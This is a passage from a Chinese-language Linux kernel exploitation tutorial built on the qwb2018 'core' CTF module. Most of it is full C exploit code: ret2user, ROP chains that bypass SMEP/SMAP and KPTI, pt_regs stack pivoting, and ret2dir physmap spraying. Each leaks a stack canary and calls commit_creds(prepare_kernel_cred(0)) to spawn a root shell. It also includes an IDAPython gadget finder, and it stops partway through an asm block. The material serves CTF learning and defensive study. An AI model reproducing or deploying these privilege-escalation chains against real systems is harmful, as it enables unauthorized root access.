char payload[] = "\x48\x31\xc0\xe8\xe8\x7b\x0d\x81\xe8\x93\x76\x0d\x81\xc3";
int main() {
mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "123", 7);
system("/bin/sh");
return 0;
}
执行 exp ,利用 gdb 调试发现执行到 payload 。
不过现在的内核很难直接利用这一漏洞。
Kernel Stack Buffer Overflow
这里以 qwb2018 core 为例进行讲解。
core_fops
结构体中定义了 core_write
,core_ioctl
,core_release
三个回调函数。
core_write
向 name
写入 0x800 长度的数据。
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
printk("\x016core: called core_writen");
if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
return (unsigned int)a3;
printk("\x016core: error copying data from userspacen", a2);
return 4294967282LL;
}
core_ioctl
有三个功能,其中 0x6677889C 可以设置 off
。
__int64 __fastcall core_ioctl(__int64 a1, int a2, const void *a3)
{
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk("\x016core: %d\n", a3);
off = (__int64)a3;
break;
case 0x6677889A:
printk("\x016core: called core_copy\n");
core_copy_func((__int64)a3);
break;
}
return 0LL;
}
core_read
可以越界读 canary
。
unsigned __int64 __fastcall core_read(const void *a1)
{
...
char v5[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 canary; // [rsp+40h] [rbp-10h]
canary = __readgsqword(0x28u);
...
result = copy_to_user(a1, &v5[off], 64LL);
...
}
core_copy_func
存在栈溢出。
__int64 __fastcall core_copy_func(__int64 len)
{
__int64 result; // rax
char v2[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 canary; // [rsp+40h] [rbp-10h]
canary = __readgsqword(0x28u);
printk("\x016core: called core_writen");
if ( len > 63 )
{
printk("\x016Detect Overflow");
return 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)len);
}
return result;
}
ret2user
即返回到用户空间的提权代码上进行提权,之后返回用户态即为 root 权限。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define KERNCALL __attribute__((regparm(3)))
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
void get_shell() { system("/bin/sh"); }
struct trap_frame {
size_t user_rip;
size_t user_cs;
size_t user_rflags;
size_t user_sp;
size_t user_ss;
} __attribute__((packed));
struct trap_frame tf;
size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
tf.user_rip = (size_t) get_shell;
tf.user_cs = user_cs;
tf.user_rflags = user_rflags;
tf.user_sp = user_sp - 0x1000;
tf.user_ss = user_ss;
puts("[*] status has been saved.");
}
void get_root() {
// commit_creds(init_cred);
commit_creds(prepare_kernel_cred(0));
asm("swapgs;"
"mov rsp, tf_addr;"
"iretq;");
}
int core_fd;
void coore_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds = (void *) ((size_t) commit_creds + offset);
prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
init_cred = (void *) ((size_t) init_cred + offset);
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
coore_read(buf);
return *(size_t *) buf;
}
int main() {
rebase();
save_status();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, 'a', sizeof(buf));
*(size_t *) &buf[64] = canary;
*(void **) &buf[80] = get_root;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
kernel rop
开启 smep 和 smap 保护后,内核空间无法执行用户空间的代码,并且无法访问用户空间的数据。因此不能直接 ret2user 。
利用 ROP ,执行 commit_creds(prepare_kernel_cred(0))
, 然后 iret
返回用户空间可以绕过上述保护。
这里我添加了 smep 和 smap 保护。
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu qemu64,+smep,+smap
并且不开启 KPTI 保护。
/ # cat /sys/devices/system/cpu/vulnerabilities/*
Not affected
Mitigation: __user pointer sanitization
Vulnerable: Minimal generic ASM retpoline
由于找不到 mov rdi, rax; ret;
这条 gadget ,因此需要用 mov rdi, rax; call rdx;
代替,其中 rdx
指向 pop rcx; ret;
可以清除 call
指令压入栈中的 rip
,因此相当于 ret
。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
void get_shell() {
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
int core_fd;
void coore_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
pop_rdx_ret += offset;
pop_rcx_ret += offset;
mov_rdi_rax_call_rdx += offset;
swapgs_popfq_ret += offset;
iretq += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
coore_read(buf);
return *(size_t *) buf;
}
int main() {
save_status();
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, 'a', sizeof(buf));
*(size_t *) &buf[64] = canary;
size_t *rop = (size_t *) &buf[80], it = 0;
rop[it++] = pop_rdi_ret;
rop[it++] = init_cred;
rop[it++] = commit_creds;
// rop[it++] = pop_rdi_ret;
// rop[it++] = 0;
// rop[it++] = prepare_kernel_cred;
// rop[it++] = pop_rdx_ret;
// rop[it++] = pop_rcx_ret;
// rop[it++] = mov_rdi_rax_call_rdx;
// rop[it++] = commit_creds;
rop[it++] = swapgs_popfq_ret;
rop[it++] = 0;
rop[it++] = iretq;
rop[it++] = (size_t) get_shell;
rop[it++] = user_cs;
rop[it++] = user_rflags;
rop[it++] = user_sp;
rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
将 CPU 类型修改为 kvm64 后开启了 KPTI 保护。
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu kvm64,+smep,+smap
# -cpu qemu64,+smep,+smap
/ # cat /sys/devices/system/cpu/vulnerabilities/*
Mitigation: PTI
Mitigation: __user pointer sanitization
Vulnerable: Minimal generic ASM retpoline
此时需要借助 swapgs_restore_regs_and_return_to_usermode
返回用户态。
该函数是内核在 arch/x86/entry/entry_64.S
中提供的一个用于完成内核态到用户态切换的函数。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
void get_shell() {
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
int core_fd;
void coore_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
pop_rdx_ret += offset;
pop_rcx_ret += offset;
mov_rdi_rax_call_rdx += offset;
swapgs_popfq_ret += offset;
iretq += offset;
swapgs_restore_regs_and_return_to_usermode += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
coore_read(buf);
return *(size_t *) buf;
}
int main() {
save_status();
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, 'a', sizeof(buf));
*(size_t *) &buf[64] = canary;
size_t *rop = (size_t *) &buf[80], it = 0;
rop[it++] = pop_rdi_ret;
rop[it++] = init_cred;
rop[it++] = commit_creds;
// rop[it++] = pop_rdi_ret;
// rop[it++] = 0;
// rop[it++] = prepare_kernel_cred;
// rop[it++] = pop_rdx_ret;
// rop[it++] = pop_rcx_ret;
// rop[it++] = mov_rdi_rax_call_rdx;
// rop[it++] = commit_creds;
rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
rop[it++] = 0;
rop[it++] = 0;
rop[it++] = (size_t) get_shell;
rop[it++] = user_cs;
rop[it++] = user_rflags;
rop[it++] = user_sp;
rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
kernel rop + ret2user
这种方法实际上是将前两种方法结合起来,同样可以绕过 smap 和 smep 包含。大体思路是先利用 rop 设置 cr4 为 0x6f0 (这个值可以通过用 cr4 原始值 & 0xFFFFF 得到)关闭 smep , 然后 iret 到用户空间去执行提权代码。
注意这里 smap 保护不能直接关闭,因此不能像前面 ret2usr 那样直接在 exp 中写入 trap frame 然后栈迁移到 trap frame 的地址,而是在 rop 中构造 trap frame 结构。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define KERNCALL __attribute__((regparm(3)))
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_cr4_rdi_ret = 0xffffffff81075014;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
void get_shell() { system("/bin/sh"); }
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
void get_root() {
// commit_creds(init_cred);
commit_creds(prepare_kernel_cred(0));
}
int core_fd;
void coore_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds = (void *) ((size_t) commit_creds + offset);
prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
init_cred = (void *) ((size_t) init_cred + offset);
pop_rdi_ret += offset;
pop_rdx_ret += offset;
pop_rcx_ret += offset;
mov_rdi_rax_call_rdx += offset;
swapgs_popfq_ret += offset;
iretq += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
coore_read(buf);
return *(size_t *) buf;
}
int main() {
save_status();
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, 'a', sizeof(buf));
*(size_t *) &buf[64] = canary;
size_t *rop = (size_t *) &buf[80], it = 0;
rop[it++] = pop_rdi_ret;
rop[it++] = 0x00000000000006f0;
rop[it++] = mov_cr4_rdi_ret;
rop[it++] = (size_t) get_root;
rop[it++] = swapgs_popfq_ret;
rop[it++] = 0;
rop[it++] = iretq;
rop[it++] = (size_t) get_shell;
rop[it++] = user_cs;
rop[it++] = user_rflags;
rop[it++] = user_sp;
rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
利用 pt_regs 构造 kernel ROP
这次我们限制溢出只能覆盖返回地址,此时需要栈迁移到其他地方构造 rop 。其中一个思路就是在 pt_regs
上构造 rop 。
linux 系统调用的时候会把所有寄存器依次压入内核栈中形成 pt_regs 结构体,之后就继续执行内核代码。
pt_regs 结构体定义如下:
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
在内核栈上的结构如下:
由于系统调用前的寄存器的值是用户可控的,这就等于控制了内核栈低区域,也就可以在其中写入 ROP 。之后只需要控制程序执行流,利用一个 add rsp, val
的 gadget 将栈迁移到 布置在 pt_regs 结构体上的 ROP 上就可以完成提权操作。
我们在调用 core_copy_func
函数之前先将寄存器设置为几个特殊的值,然后再 core_copy_func
函数的返回处下断点。
__asm__(
"mov r15, 0x1111111111111111;"
"mov r14, 0x2222222222222222;"
"mov r13, 0x3333333333333333;"
"mov r12, 0x4444444444444444;"
"mov rbp, 0x5555555555555555;"
"mov rbx, 0x6666666666666666;"
"mov r11, 0x7777777777777777;"
"mov r10, 0x8888888888888888;"
"mov r9, 0x9999999999999999;"
"mov r8, 0xaaaaaaaaaaaaaaaa;"
"mov rcx, 0xbbbbbbbbbbbbbbbb;"
"mov rax, 16;"
"mov rdx, 0xffffffffffff0050;"
"mov rsi, 0x6677889A;"
"mov rdi, core_fd;"
"syscall"
);
此时可以看到 pt_regs
相对于栈顶的偏移为 0xF0 ,除去这里的 ret
需要将 rsp
加上 0xE8 才能将栈迁移到 pt_regs
的起始地址。
另外值得注意的是 pt_regs
中对应 r11
和 rcx
的位置分别被写入了 eflags
和返回地址,因此不受我们控制。
设置条件断点查证一下,发现在程序入口点的位置这个两个寄存器就已经被修改了。
借助 IDAPython 脚本在 vmlinux 中查找合适的 gadget 。
import idc
from idaapi import *
start_ea = 0xFFFFFFFF81000000
end_ea = 0xFFFFFFFF81C0325D
max_len = 10
class Gadget():
def __init__(self, addr, asms, val):
self.addr = addr
self.asms = asms
self.val = val
if __name__ == '__main__':
fp = open("rop.txt", "w")
gadgets = []
i = start_ea
while i < end_ea:
asm = idc.generate_disasm_line(i, 0).split(";")[0]
if asm.startswith("add rsp, "):
asms = [asm.replace(" ", " ")]
val = idc.get_operand_value(i, 1)
j = i + get_item_size(i)
while j < end_ea:
asm = idc.generate_disasm_line(j, 0).split(";")[0]
asms.append(asm.replace(" ", " "))
if len(asms) > max_len: break
if "rsp" in asm or "esp" in asm or "leave" in asm or "call" in asm: break
if print_insn_mnem(j) == "push": val -= 8
if print_insn_mnem(j) == "pop": val += 8
if print_insn_mnem(j) == "retn":
gadgets.append(Gadget(i, asms, val))
gadget = Gadget(i, asms, val)
print("val: " + hex(gadget.val))
print(hex(gadget.addr) + " : " + "; ".join(gadget.asms) + ";")
j += get_item_size(j)
break
j += get_item_size(j)
i = j
else:
i += get_item_size(i)
gadgets = sorted(gadgets, key=lambda gadget: gadget.val)
print("_________________________________________")
print(len(gadgets))
for gadget in gadgets:
fp.write("val: " + hex(gadget.val) + "\n")
fp.write(hex(gadget.addr) + " : " + "; ".join(gadget.asms) + ";\n")
fp.close()
随便选择一个可以把 rsp
加 0xE8 的 gadget 。
由于 swapgs_restore_regs_and_return_to_usermode
函数前面的操作是依次弹出 pt_regs 结构体中的元素,由于前面 4 个寄存器已经用来写 ROP 了,因此要从 swapgs_restore_regs_and_return_to_usermode + 8
开始。
由于这里用的是正常的 trap_frame
因此不需要 save_status
和位置 trap_frame
。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
int core_fd;
void coore_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
add_rsp_0xe8_ret += offset;
swapgs_restore_regs_and_return_to_usermode += offset + 8;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
coore_read(buf);
return *(size_t *) buf;
}
int main() {
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, 'a', sizeof(buf));
*(size_t *) &buf[64] = canary;
*(size_t *) &buf[80] = add_rsp_0xe8_ret;
core_write(buf, sizeof(buf));
__asm__(
"mov r15, pop_rdi_ret;"
"mov r14, init_cred;"
"mov r13, commit_creds;"
"mov r12, swapgs_restore_regs_and_return_to_usermode;"
"mov rbp, 0x5555555555555555;"
"mov rbx, 0x6666666666666666;"
"mov r11, 0x7777777777777777;"
"mov r10, 0x8888888888888888;"
"mov r9, 0x9999999999999999;"
"mov r8, 0xaaaaaaaaaaaaaaaa;"
"mov rax, 16;"
"mov rdx, 0xffffffffffff0058;"
"mov rsi, 0x6677889A;"
"mov rdi, core_fd;"
"syscall"
);
system("/bin/sh");
return 0;
}
内核主线在 这个 commit 中为系统调用栈添加了一个偏移值,这意味着 pt_regs
与我们触发劫持内核执行流时的栈间偏移值不再是固定值,这个保护的开启需要 CONFIG_RANDOMIZE_KSTACK_OFFSET=y
(默认开启)
ret2dir
如果 ptregs
所在的内存被修改了导致最多只能控制 16 字节的内存我们可以利用 ret2dir 的利用方式将栈迁移至内核的线性映射区。
ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法,主要用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段,原论文见此处:http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf 。
linux 系统有一部分物理内存区域同时映射到用户空间和内核空间的某个物理内存地址。一块区域叫做 direct mapping area,即内核的线性映射区。,这个区域映射了所有的物理内存。
ffff888000000000 | -119.5 TB | ffffc87fffffffff | 64 TB | direct mapping of all physical memory (page_offset_base)
下图便是原论文中对 ret2dir 这种攻击的示例,我们在用户空间中布置的 gadget 可以通过 direct mapping area 上的地址在内核空间中访问到
但需要注意的是在新版的内核当中 direct mapping area 已经不再具有可执行权限,因此我们很难再在用户空间直接布置 shellcode 进行利用,但我们仍能通过在用户空间布置 ROP 链的方式完成利用
比较朴素的一种使用 ret2dir 进行攻击的手法便是:
- 利用 mmap 在用户空间大量喷射内存
- 利用漏洞泄露出内核的“堆”上地址(通过 kmalloc 获取到的地址),这个地址直接来自于线性映射区
- 利用泄露出的内核线性映射区的地址进行内存搜索,从而找到我们在用户空间喷射的内存
此时我们就获得了一个映射到用户空间的内核空间地址,我们通过这个内核空间地址便能直接访问到用户空间的数据,从而避开了传统的隔绝用户空间与内核空间的防护手段
需要注意的是我们往往没有内存搜索的机会,因此需要使用 mmap 喷射大量的物理内存写入同样的 payload,之后再随机挑选一个线性映射区上的地址进行利用,这样我们就有很大的概率命中到我们布置的 payload 上,这种攻击手法也称为 physmap spray 。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
/*
linux kernal 4.15.8
/Documentation/x86/x86_64/mm.txt
ffff880000000000 - ffffc7ffffffffff (=64 TB) direct mapping of all phys. memory
*/
size_t try_hit = 0xffff880000000000 + 0x7000000;
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rsp_ret = 0xffffffff81001689;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t ret = 0xFFFFFFFF8100168A;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
void get_shell() { system("/bin/sh"); }
int core_fd;
void coore_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
add_rsp_0xe8_ret += offset;
pop_rsp_ret += offset;
ret += offset;
swapgs_restore_regs_and_return_to_usermode += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
coore_read(buf);
return *(size_t *) buf;
}
void physmap_spray() {
size_t page_size = sysconf(_SC_PAGESIZE);
size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
int it = 0;
for (; it < (page_size / 8 - 11); it++) {
rop[it] = ret;
}
rop[it++] = pop_rdi_ret;
rop[it++] = init_cred;
rop[it++] = commit_creds;
rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
rop[it++] = 0;
rop[it++] = 0;
rop[it++] = (size_t) get_shell;
rop[it++] = user_cs;
rop[it++] = user_rflags;
rop[it++] = user_sp;
rop[it++] = user_ss;
puts("[*] Spraying physmap...");
for (int i = 1; i < 30000; i++) {
void *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(page, rop, page_size);
}
}
int main() {
rebase();
save_status();
physmap_spray();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, 'a', sizeof(buf));
*(size_t *) &buf[64] = canary;
*(size_t *) &buf[80] = add_rsp_0xe8_ret;
core_write(buf, sizeof(buf));
__asm__(
"mov r15, pop_rsp_ret;"
"mov r14, try_hit;"
"mov r13, 0x3333333333333333;"
"mov r12, 0x4444444444444444;"
"mov rbp, 0x5555555555555555;"
"mov rbx, 0x6666666666666666;"
"mov r11, 0x7777777777777777;"
"mov r10, 0x8888888888888888;"
"mov r9, 0x9999999999999999;"
